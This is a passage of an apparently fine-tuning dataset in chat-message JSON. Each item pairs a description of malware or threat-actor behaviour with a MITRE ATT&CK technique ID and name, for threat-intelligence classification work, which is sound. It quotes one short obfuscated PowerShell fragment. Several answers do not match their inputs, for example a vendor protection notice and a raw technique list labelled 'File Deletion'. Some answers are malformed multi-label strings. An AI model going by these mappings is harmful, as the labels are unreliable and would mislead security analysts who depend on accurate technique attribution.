                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Melcoz can monitor the clipboard for cryptocurrency addresses and change the intended address to one controlled by the adversary."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can send C2 communications with XOR encryption."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SeaDuke can securely delete files, including deleting itself from the victim."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some of the instances used in this script are: $eNv:puBLic[13]+$ENv:pUBLIc[5]+'x' ($ENV:cOMsPEC[4,26,25]-jOin'')      XOR encoding: The biggest section of the PowerShell script is XOR encoded using a single byte key, as shown in Figure 11"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of creating a remote Bash shell and executing commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used C:\\Windows\\Debug and C:\\Perflogs as staging directories."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PcShare can take screen shots of a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Olympic Destroyer uses API calls to enumerate the infected system's ARP table."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. Datper uses an RC4-encrypted configuration to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. RarStar HTTP POST request. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. When exfiltration is complete, the uploader (or Datper or xxmm) immediately uses the del command to delete the RAR archives. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot exfiltrates data over its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Loader Trojan The payload dropped to the system by the macro is an executable that is responsible for installing and executing a dynamic link library (DLL) to the system. The loader has several coding features that make it interesting. Upon execution, the loader will decrypt the embedded payload (DLL) using a custom algorithm followed by decompressing it using the RtlDecompressBuffer API. This API is normally used for Windows drivers, but there is nothing to prevent a userland process from using it, and the parameters are documented on MSDN. The compression algorithm used is LZNT1 with maximum compression level. The payload is decrypted using a starting 10-byte XOR key of: 0x3950BE2CD37B2C7CCBF8. The payload is in the loader at file offset: 0x19880 - 0x1F23C size of 0x59BD. The payload can be decrypted and decompressed with the following Python script"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses cloud based services for C2."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kinsing has attempted to brute force hosts over SSH."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Both variants of ServHelper use the same HTTP C&amp;C protocol on port 443 (HTTPS) and, less frequently, port 80 (HTTP). An example of the initial phone home to the C&amp;C server is shown in Figure 5"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 gathers information on network shares."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To create the scheduled task, the PowerShell payload starts by writing the following to a VBScript file with the same name as the task name  (ex"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLUELIGHT can uninstall itself."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has used a variety of publicly available tools like Gpppassword to gather credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSInfo specifically looks for Domain Admins and power users within the domain."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used fake job advertisements sent via LinkedIn to spearphish victims."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NOKKI uses the Windows call SetWindowsHookEx and begins injecting it into every GUI process running on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In one instance, APT29 created a Filter named BfeOnServiceStartTypeChange (Figure 1), which they configured to execute every Monday, Tuesday, Thursday, Friday, and Saturday at 11:33 am local time.     Figure 1: “BfeOnServiceStartTypeChange” WMI Query Language (WQL) filter condition The BfeOnServiceStartTypeChange Filter was bound to the CommandLineEventConsumer WindowsParentalControlsMigration"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell has a command called RunAs, which creates a new process as another user or process context."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used SQL injection for initial compromise."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The most common ports used are, 80, 1985, 1986, and 443. 1985 is the default port for the malware, 1986 is the lazy variation of that port. Port 80 and 443 are the default ports for HTTP and HTTPS traffic. The next most common is port 53. This is used in some of the newer 3.22 and 3.39 samples. After that, the count for each port starts declining sharply"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors used the systeminfo command to look for details about the network configurations and settings and determine if the system was a VMware virtual machine. The threat actor used route print to display the entries in the local IP routing table."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware proceeds to check to see if the original dropped malware file exists. In the event it does, Reaver will move this file to ‘%TEMP%\\~FJIOW.tmp’ and delete this new file. This simply acts as cleanup to ensure original file artifacts no longer reside on the infected machine. Reaver will then install itself as a service in the event it is running with SeDebugPrivilege privileges. Reaver continues to collect various information from the victim machine, including the following"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used COM scriptlets to download Cobalt Strike beacons."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Implant directory contained in the malicious Flash file"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "T1566.001: Spearphishing Attachment - T1566.002: Spearphishing Link - T1566.003: Spearphishing via Service - - - T1204.001: Malicious Link - T1204.002: Malicious File - T1059: Command and Scripting Interpreter T1059.005: Visual Basic - T1059.005: Visual Basic - - T1053.005: Scheduled Task - T1129: Shared Modules - T1106: Native API - T1047: Windows Management Instrumentation - - T1027: Obfuscated Files or Information T1027.002: Software Packing - T1027.002: Software Packing - T1553: Subvert Trust Controls T1553.002: Code Signing - T1553.002: Code Signing - T1218: Signed Binary Proxy Execution T1218.010: Regsvr32 - T1218.010: Regsvr32 - - T1497.001: System Checks - T1497.002: User Activity Based Checks - T1497.003: Time Based Evasion - T1112: Modify Registry - T1070: Indicator Removal on Host T1070.004: File Deletion - T1070.004: File Deletion - T1140: De-obfuscate/Decode Files or Information - - - T1090.003: Multi-hop Proxy - T1105: Ingress Tool Transfer - - T1055: Process Injection T1055.012: Process Hollowing - T1055.012: Process Hollowing - - T1082: System Information Discovery - T1049: System Network Connections Discovery - T1016: System Network Configuration Discovery - T1057: Process Discovery - T1033: System Owner/User Discovery - T1518: Software Discovery T1518.001: Security Software Discovery - T1518.001: Security Software Discovery - Persistence T1546: Event Triggered Execution T1547: Boot or Logon Autostart Execution T1547.001: Registry Run Keys / Startup Folder - T1546: Event Triggered Execution - T1547: Boot or Logon Autostart Execution T1547.001: Registry Run Keys / Startup Folder - T1547.001: Registry Run Keys / Startup Folder"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unlike a Docker engine that runs on a single host, a Kubernetes cluster typically contains more than one host and every host can run multiple containers. Given the abundant resources in a Kubernetes infrastructure, a hijacked Kubernetes cluster can be more profitable than a hijacked Docker host. This new TeamTNT malware campaign is one of the most complicated attacks targeting Kubernetes. This is also the most feature-rich malware we have seen from TeamTNT so far. In particular, the threat actor has developed more sophisticated tactics for initial access, execution, defense evasion and C2. Although the malware is still under development and the campaign is not yet widely spread, we believe the attacker will soon mature the tools and start a large-scale deployment"
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When generating the URLs within the HTTP POST and GET requests, XAgent sets one HTTP parameter using a specific data structure that contains this agent_id value. This parameter transmits the agent_id to the C2 server to obtain commands the actor wishes to execute on the compromised system. The data structure used to transmit the agent_id to the C2 is as follows"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BITTER has disguised malware as a Windows Security update service."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In all of the DropIt samples we collected, the dropper will then save the executable to the user’s %TEMP% folder and execute the file, specifically to one of the following filenames:  %TEMP%\\spp.exe %TEMP%\\sloo.exe %TEMP%\\spoo.exe %TEMP%\\vschos.exe  We have also seen Magic Hound using DropIt like a binder Trojan, specifically dropping a legitimate decoy executable along with the malicious executable as a payload"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing', 'T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET collects contacts and application data from files in Desktop, Documents, Downloads, Dropbox, and WeChat folders."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ccf32 can be used to automatically collect files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 sent several similar campaigns in mid-October with VBScript compressed in 7-Zip files that also downloaded either Locky or The Trick. By late October, the actor switched to Microsoft Word attachments that abused Dynamic Data Exchange (DDE) to download either Locky or Locky and The Trick in several more geo-targeted campaigns. This was the first time that we observed TA505 abusing DDE, a legitimate feature in Microsoft Office that became a regular part of multiple threat actors’ toolkits in Q4 2017. Recipients of these emails, which also used simple lures with attached fake invoices, needed to open the Microsoft Word attachments and click through a security dialog (Figure 3) to download the malware"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Suckfly's first step was to identify a user to target so the attackers could attempt their initial breach into the e-commerce company's internal network. We don't have hard evidence of how Suckfly obtained information on the targeted user, but we did find a large open-source presence on the initial target. 2) On April 22, 2015, Suckfly exploited a vulnerability on the targeted employee's operating system (Windows) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack. 3) After the attackers successfully exploited the employee’s system, they gained access to the e-commerce company's internal network. With the account credentials, the attackers were able to access the victim's account and navigate the internal corporate network as though they were the employee. 4) On April 27, the attackers scanned the corporate internal network for hosts with ports 8080, 5900, and 40 open. Ports 8080 and 5900 are common ports used with legitimate protocols, but can be abused by attackers when they are not secured. It isn't clear why the attackers scanned for hosts with port 40 open because there isn't a common protocol assigned to this port. Based on Suckfly scanning for common ports, it’s clear that the group was looking to expand its foothold on the e-commerce company's internal network. 5) The attackers’ final step was to exfiltrate data off the victim’s network and onto Suckfly’s infrastructure"
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The \"Uploader\" variant of  visits a hard-coded server over HTTP/S to download the images  uses to receive commands."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has injected code into trusted processes."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mimikatz's kerberos module can create golden tickets."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Linux malware detection and prevention is not prevalent at this time, but Palo Alto Networks customers are protected through our next-generation security platform:  IPS signature 14917 deployed to identify and prevent command and control activity The C2 domains and files mentioned in this report are blocked in our Threat Prevention product"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware supports several capabilities, such as injecting and executing arbitrary code, uploading and downloading files, and executing shell commands. BLACKCOFFEE: a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft's Technet portal"
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dyre can detect sandbox analysis environments by inspecting the process list and Registry."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SeaDuke uses HTTP and HTTPS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WINDSHIELD can gather the victim computer name."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unwraps a DLL into memory and calls its one-and-only import using Reflective DLL injection. DLL information"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GOLD SOUTHFIELD has executed base64 encoded PowerShell scripts on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A system info module in  gathers information on the victim host’s configuration."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has used WMI to execute scripts used for discovery."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "dropped and executed SecretsDump and CrackMapExec, tools that can dump password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 4: APT32 ActiveMime Lures Create Two Named Scheduled Tasks In this example, a scheduled task named “Windows Scheduled Maintenance” was created to run Casey Smith’s “Squiblydoo” App Whitelisting bypass every 30 minutes"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This code invokes time twice, with a sleep in between …then compares if the differences between the two calls to time match the amount of time that was system slept for. To detect sandboxes that patch (speedup) calls to sleep"
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has used 7-Zip to archive data."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JPIN can obtain system information such as OS version and disk space."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The DUBNIUM samples are distributed in various ways, one instance was using a zero-day exploit that targets Adobe Flash, in December 2015"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can extract its agent from the body of a malicious document."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used various tools to steal files from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hydraq connects to a predefined domain on port 443 to exfil gathered information."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team added a login to a SQL Server with \"sp_addlinkedsrvlogin\"."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Collects information about the infected system, network, drives, and installed applications. Saves the collected information to a file named “info” in “%appdata%\\Micorosoft\\Templates” and sends it to the C2"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used shell and VBS scripts as well as embedded macros for execution."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoomBox can execute an LDAP query to discover e-mail accounts for domain users."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has attempted to lure users to execute a malicious dropper delivered via a spearphishing attachment."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
